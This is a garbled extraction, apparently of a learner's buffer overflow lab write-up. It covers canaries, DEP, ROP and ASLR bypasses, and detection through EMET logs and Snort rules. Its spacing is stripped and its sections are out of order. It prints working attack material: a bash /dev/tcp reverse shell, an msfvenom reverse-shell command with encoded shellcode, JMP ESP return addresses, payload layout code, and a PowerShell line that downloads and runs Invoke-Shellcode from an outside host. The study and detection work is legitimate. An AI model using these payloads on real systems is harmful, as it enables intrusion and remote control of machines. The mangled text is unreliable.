detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
